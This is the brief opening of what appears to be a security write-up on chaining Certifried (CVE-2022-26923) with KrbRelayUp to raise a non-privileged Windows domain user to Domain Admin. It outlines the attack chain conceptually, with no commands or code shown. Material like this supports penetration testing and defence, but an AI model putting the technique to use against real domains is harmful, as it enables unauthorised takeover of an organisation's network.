Certifried combined with KrbRelayUp

Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.

The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.
